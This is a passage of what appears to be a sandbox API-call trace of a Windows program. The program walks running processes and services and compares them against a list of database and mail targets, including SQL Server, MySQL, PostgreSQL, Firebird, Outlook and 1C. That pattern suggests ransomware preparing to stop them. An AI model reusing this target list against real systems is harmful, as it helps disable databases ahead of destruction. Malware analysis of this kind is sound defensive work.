th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0259.471] lstrlenW (lpString="smss.exe") returned 8 [0259.471] lstrcmpiW (lpString1="1c8.exe", lpString2="smss.exe") returned -1 [0259.471] lstrcmpiW (lpString1="1cv77.exe", lpString2="smss.exe") returned -1 [0259.472] lstrcmpiW (lpString1="outlook.exe", lpString2="smss.exe") returned -1 [0259.472] lstrcmpiW (lpString1="postgres.exe", lpString2="smss.exe") returned -1 [0259.472] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="smss.exe") returned -1 [0259.472] lstrcmpiW (lpString1="mysqld.exe", lpString2="smss.exe") returned -1 [0259.472] lstrcmpiW (lpString1="sqlservr.exe", lpString2="smss.exe") returned 1 [0259.472] Process32NextW (in: hSnapshot=0x384, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x144, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x13c, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0259.472] lstrlenW (lpString="csrss.exe") returned 9 [0259.472] lstrcmpiW (lpString1="1c8.exe", lpString2="csrss.exe") returned -1 [0259.472] lstrcmpiW (lpString1="1cv77.exe", lpString2="csrss.exe") returned -1 [0259.472] lstrcmpiW (lpString1="outlook.exe", lpString2="csrss.exe") returned 1 [0259.472] lstrcmpiW (lpString1="postgres.exe", lpString2="csrss.exe") returned 1 [0259.472] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="csrss.exe") returned 1 [0259.472] lstrcmpiW (lpString1="mysqld.exe", lpString2="csrss.exe") returned 1 [0259.472] lstrcmpiW (lpString1="sqlservr.exe", lpString2="csrss.exe") returned 1 [0259.472] Process32NextW (in: hSnapshot=0x384, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x174, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x13c, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0259.472] lstrlenW (lpString="wininit.exe") returned 11 [0259.472] lstrcmpiW (lpString1="1c8.exe", lpString2="wininit.exe") returned -1 [0259.472] lstrcmpiW (lpString1="1cv77.exe", lpString2="wininit.exe") returned -1 [0259.472] lstrcmpiW (lpString1="outlook.exe", lpString2="wininit.exe") returned -1 [0259.472] lstrcmpiW (lpString1="postgres.exe", lpString2="wininit.exe") returned -1 [0259.473] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="wininit.exe") returned -1 [0259.473] lstrcmpiW (lpString1="mysqld.exe", lpString2="wininit.exe") returned -1 [0259.473] lstrcmpiW (lpString1="sqlservr.exe", lpString2="wininit.exe") returned -1 [0259.473] Process32NextW (in: hSnapshot=0x384, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x180, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x16c, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0259.473] lstrlenW (lpString="csrss.exe") returned 9 [0259.473] lstrcmpiW (lpString1="1c8.exe", lpString2="csrss.exe") returned -1 [0259.473] lstrcmpiW (lpString1="1cv77.exe", lpString2="csrss.exe") returned -1 [0259.473] lstrcmpiW (lpString1="outlook.exe", lpString2="csrss.exe") returned 1 [0259.473] lstrcmpiW (lpString1="postgres.exe", lpString2="csrss.exe") returned 1 [0259.473] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="csrss.exe") returned 1 [0259.473] lstrcmpiW (lpString1="mysqld.exe", lpString2="csrss.exe") returned 1 [0259.473] lstrcmpiW (lpString1="sqlservr.exe", lpString2="csrss.exe") returned 1 [0259.473] Process32NextW (in: hSnapshot=0x384, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x16c, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0259.473] lstrlenW (lpString="winlogon.exe") returned 12 [0259.473] lstrcmpiW (lpString1="1c8.exe", lpString2="winlogon.exe") returned -1 [0259.474] lstrcmpiW (lpString1="1cv77.exe", lpString2="winlogon.exe") returned -1 [0259.474] lstrcmpiW (lpString1="outlook.exe", lpString2="winlogon.exe") returned -1 [0259.474] lstrcmpiW (lpString1="postgres.exe", lpString2="winlogon.exe") returned -1 [0259.474] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="winlogon.exe") returned -1 [0259.474] lstrcmpiW (lpString1="mysqld.exe", lpString2="winlogon.exe") returned -1 [0259.474] lstrcmpiW (lpString1="sqlservr.exe", lpString2="winlogon.exe") returned -1 [0259.474] Process32NextW (in: hSnapshot=0x384, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x174, pcPriClassBase=8, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0259.474] lstrlenW (lpString="services.exe") returned 12 [0259.474] lstrcmpiW (lpString1="1c8.exe", lpString2="services.exe") returned -1 [0259.474] lstrcmpiW (lpString1="1cv77.exe", lpString2="services.exe") returned -1 [0259.474] lstrcmpiW (lpString1="outlook.exe", lpString2="services.exe") returned -1 [0259.474] lstrcmpiW (lpString1="postgres.exe", lpString2="services.exe") returned -1 [0259.474] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="services.exe") returned -1 [0259.474] lstrcmpiW (lpString1="mysqld.exe", lpString2="services.exe") returned -1 [0259.474] lstrcmpiW (lpString1="sqlservr.exe", lpString2="services.exe") returned 1 [0259.474] Process32NextW (in: hSnapshot=0x384, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x174, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0259.474] lstrlenW (lpString="lsass.exe") returned 9 [0259.474] lstrcmpiW (lpString1="1c8.exe", lpString2="lsass.exe") returned -1 [0259.474] lstrcmpiW (lpString1="1cv77.exe", lpString2="lsass.exe") returned -1 [0259.474] lstrcmpiW (lpString1="outlook.exe", lpString2="lsass.exe") returned 1 [0259.475] lstrcmpiW (lpString1="postgres.exe", lpString2="lsass.exe") returned 1 [0259.475] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="lsass.exe") returned 1 [0259.475] lstrcmpiW (lpString1="mysqld.exe", lpString2="lsass.exe") returned 1 [0259.475] lstrcmpiW (lpString1="sqlservr.exe", lpString2="lsass.exe") returned 1 [0259.475] Process32NextW (in: hSnapshot=0x384, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x174, pcPriClassBase=8, dwFlags=0x0, szExeFile="lsm.exe")) returned 1 [0259.475] lstrlenW (lpString="lsm.exe") returned 7 [0259.475] lstrcmpiW (lpString1="1c8.exe", lpString2="lsm.exe") returned -1 [0259.475] lstrcmpiW (lpString1="1cv77.exe", lpString2="lsm.exe") returned -1 [0259.475] lstrcmpiW (lpString1="outlook.exe", lpString2="lsm.exe") returned 1 [0259.475] lstrcmpiW (lpString1="postgres.exe", lpString2="lsm.exe") returned 1 [0259.475] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="lsm.exe") returned 1 [0259.475] lstrcmpiW (lpString1="mysqld.exe", lpString2="lsm.exe") returned 1 [0259.475] lstrcmpiW (lpString1="sqlservr.exe", lpString2="lsm.exe") returned 1 [0259.475] Process32NextW (in: hSnapshot=0x384, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x250, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0259.476] lstrlenW (lpString="svchost.exe") returned 11 [0259.476] lstrcmpiW (lpString1="1c8.exe", lpString2="svchost.exe") returned -1 [0259.476] lstrcmpiW (lpString1="1cv77.exe", lpString2="svchost.exe") returned -1 [0259.476] lstrcmpiW (lpString1="outlook.exe", lpString2="svchost.exe") returned -1 [0259.476] lstrcmpiW (lpString1="postgres.exe", lpString2="svchost.exe") returned -1 [0259.476] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="svchost.exe") returned -1 [0259.476] lstrcmpiW (lpString1="mysqld.exe", lpString2="svchost.exe") returned -1 [0259.476] lstrcmpiW (lpString1="sqlservr.exe", lpString2="svchost.exe") returned -1 [0259.476] Process32NextW (in: hSnapshot=0x384, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x290, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0259.476] lstrlenW (lpString="svchost.exe") returned 11 [0259.476] lstrcmpiW (lpString1="1c8.exe", lpString2="svchost.exe") returned -1 [0259.476] lstrcmpiW (lpString1="1cv77.exe", lpString2="svchost.exe") returned -1 [0259.476] lstrcmpiW (lpString1="outlook.exe", lpString2="svchost.exe") returned -1 [0259.476] lstrcmpiW (lpString1="postgres.exe", lpString2="svchost.exe") returned -1 [0259.476] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="svchost.exe") returned -1 [0259.476] lstrcmpiW (lpString1="mysqld.exe", lpString2="svchost.exe") returned -1 [0259.476] lstrcmpiW (lpString1="sqlservr.exe", lpString2="svchost.exe") returned -1 [0259.476] Process32NextW (in: hSnapshot=0x384, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0259.476] lstrlenW (lpString="svchost.exe") returned 11 [0259.476] lstrcmpiW (lpString1="1c8.exe", lpString2="svchost.exe") returned -1 [0259.476] lstrcmpiW (lpString1="1cv77.exe", lpString2="svchost.exe") returned -1 [0259.477] lstrcmpiW (lpString1="outlook.exe", lpString2="svchost.exe") returned -1 [0259.477] lstrcmpiW (lpString1="postgres.exe", lpString2="svchost.exe") returned -1 [0259.477] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="svchost.exe") returned -1 [0259.477] lstrcmpiW (lpString1="mysqld.exe", lpString2="svchost.exe") returned -1 [0259.477] lstrcmpiW (lpString1="sqlservr.exe", lpString2="svchost.exe") returned -1 [0259.477] Process32NextW (in: hSnapshot=0x384, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x338, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0259.477] lstrlenW (lpString="svchost.exe") returned 11 [0259.477] lstrcmpiW (lpString1="1c8.exe", lpString2="svchost.exe") returned -1 [0259.477] lstrcmpiW (lpString1="1cv77.exe", lpString2="svchost.exe") returned -1 [0259.477] lstrcmpiW (lpString1="outlook.exe", lpString2="svchost.exe") returned -1 [0259.477] lstrcmpiW (lpString1="postgres.exe", lpString2="svchost.exe") returned -1 [0259.477] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="svchost.exe") returned -1 [0259.477] Process32NextW (in: hSnapshot=0x384, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x370, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0259.477] lstrlenW (lpString="svchost.exe") returned 11 [0259.477] Process32NextW (in: hSnapshot=0x384, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x2c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0259.478] lstrlenW (lpString="audiodg.exe") returned 11 [0259.478] Process32NextW (in: hSnapshot=0x384, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0259.478] lstrlenW (lpString="svchost.exe") returned 11 [0259.478] Process32NextW (in: hSnapshot=0x384, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x214, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0259.478] lstrlenW (lpString="svchost.exe") returned 11 [0259.478] Process32NextW (in: hSnapshot=0x384, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x440, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x1a8, pcPriClassBase=8, dwFlags=0x0, szExeFile="userinit.exe")) returned 1 [0259.478] lstrlenW (lpString="userinit.exe") returned 12 [0259.479] Process32NextW (in: hSnapshot=0x384, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x448, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x338, pcPriClassBase=8, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0259.479] lstrlenW (lpString="dwm.exe") returned 7 [0259.479] Process32NextW (in: hSnapshot=0x384, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x458, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x19, th32ParentProcessID=0x440, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0259.479] lstrlenW (lpString="explorer.exe") returned 12 [0259.479] Process32NextW (in: hSnapshot=0x384, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x484, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0259.479] lstrlenW (lpString="spoolsv.exe") returned 11 [0259.479] Process32NextW (in: hSnapshot=0x384, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0259.480] lstrlenW (lpString="taskhost.exe") returned 12 [0259.480] Process32NextW (in: hSnapshot=0x384, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0259.480] lstrlenW (lpString="svchost.exe") returned 11 [0259.480] Process32NextW (in: hSnapshot=0x384, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x598, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x458, pcPriClassBase=8, dwFlags=0x0, szExeFile="chrome64b.exe")) returned 1 [0259.480] lstrlenW (lpString="chrome64b.exe") returned 13 [0259.481] Process32NextW (in: hSnapshot=0x384, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x588, pcPriClassBase=8, dwFlags=0x0, szExeFile="reader_sl.exe")) returned 1 [0259.481] lstrlenW (lpString="reader_sl.exe") returned 13 [0259.481] Process32NextW (in: hSnapshot=0x384, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x634, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1 [0259.481] lstrlenW (lpString="dllhost.exe") returned 11 [0259.481] Process32NextW (in: hSnapshot=0x384, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x634, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 0 [0259.481] CloseHandle (hObject=0x384) returned 1 [0259.481] Sleep (dwMilliseconds=0x1f4) [0259.996] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x4544748 [0259.998] EnumServicesStatusExW (in: hSCManager=0x4544748, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x212ff44, lpServicesReturned=0x212ff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x212ff44, lpServicesReturned=0x212ff5c, lpResumeHandle=0x0) returned 0 [0259.998] GetLastError () returned 0xea [0259.998] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0xcec) returned 0x454b168 [0259.998] EnumServicesStatusExW (in: hSCManager=0x4544748, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x454b168, cbBufSize=0xcec, pcbBytesNeeded=0x212ff44, lpServicesReturned=0x212ff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x454b168, pcbBytesNeeded=0x212ff44, lpServicesReturned=0x212ff5c, lpResumeHandle=0x0) returned 1 [0259.998] CloseServiceHandle (hSCObject=0x4544748) returned 1 [0259.998] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0259.998] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0259.998] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0259.999] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0259.999] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0259.999] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0259.999] lstrlenW (lpString="AudioSrv") returned 8 [0259.999] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioSrv") returned 1 [0259.999] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioSrv") returned 1 [0259.999] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioSrv") returned 1 [0259.999] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioSrv") returned 1 [0259.999] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioSrv") returned 1 [0259.999] lstrlenW (lpString="BFE") returned 3 [0259.999] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0259.999] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0259.999] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0259.999] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0259.999] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0259.999] lstrlenW (lpString="CryptSvc") returned 8 [0259.999] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1 [0259.999] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1 [0259.999] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1 [0259.999] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1 [0259.999] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1 [0259.999] lstrlenW (lpString="CscService") returned 10 [0259.999] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CscService") returned 1 [0259.999] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CscService") returned 1 [0259.999] lstrcmpiW (lpString1="sqlwriter", lpString2="CscService") returned 1 [0259.999] lstrcmpiW (lpString1="mssqlserver", lpString2="CscService") returned 1 [0259.999] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CscService") returned 1 [0259.999] lstrlenW (lpString="DcomLaunch") returned 10 [0259.999] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0259.999] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0259.999] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0259.999] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0259.999] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0260.000] lstrlenW (lpString="Dhcp") returned 4 [0260.000] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0260.000] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0260.000] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0260.000] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0260.000] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0260.000] lstrlenW (lpString="Dnscache") returned 8 [0260.000] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0260.000] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0260.000] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0260.000] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0260.000] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0260.000] lstrlenW (lpString="DPS") returned 3 [0260.000] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1 [0260.000] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1 [0260.000] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1 [0260.000] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1 [0260.000] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1 [0260.000] lstrlenW (lpString="eventlog") returned 8 [0260.000] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="eventlog") returned 1 [0260.000] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="eventlog") returned 1 [0260.000] lstrcmpiW (lpString1="sqlwriter", lpString2="eventlog") returned 1 [0260.000] lstrcmpiW (lpString1="mssqlserver", lpString2="eventlog") returned 1 [0260.000] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="eventlog") returned 1 [0260.000] lstrlenW (lpString="EventSystem") returned 11 [0260.000] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0260.000] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0260.000] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0260.000] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0260.001] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0260.001] lstrlenW (lpString="gpsvc") returned 5 [0260.001] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0260.001] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0260.001] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0260.001] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0260.001] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0260.001] lstrlenW (lpString="LanmanWorkstation") returned 17 [0260.001] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0260.001] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0260.001] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1 [0260.001] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1 [0260.001] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1 [0260.001] lstrlenW (lpString="lmhosts") returned 7 [0260.001] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0260.001] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0260.001] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0260.001] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0260.001] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0260.001] lstrlenW (lpString="MMCSS") returned 5 [0260.001] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MMCSS") returned -1 [0260.001] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MMCSS") returned -1 [0260.001] lstrcmpiW (lpString1="sqlwriter", lpString2="MMCSS") returned 1 [0260.001] lstrcmpiW (lpString1="mssqlserver", lpString2="MMCSS") returned 1 [0260.001] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MMCSS") returned 1 [0260.001] lstrlenW (lpString="MpsSvc") returned 6 [0260.001] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1 [0260.001] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1 [0260.001] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1 [0260.002] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1 [0260.002] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1 [0260.002] lstrlenW (lpString="NlaSvc") returned 6 [0260.002] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1 [0260.002] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1 [0260.002] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1 [0260.002] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1 [0260.002] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1 [0260.002] lstrlenW (lpString="nsi") returned 3 [0260.002] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0260.002] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0260.002] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0260.002] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0260.002] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0260.002] lstrlenW (lpString="PcaSvc") returned 6 [0260.002] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1 [0260.002] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1 [0260.002] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1 [0260.002] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1 [0260.002] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1 [0260.002] lstrlenW (lpString="PlugPlay") returned 8 [0260.003] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0260.003] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0260.003] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0260.003] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0260.003] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0260.003] lstrlenW (lpString="Power") returned 5 [0260.003] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0260.003] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") 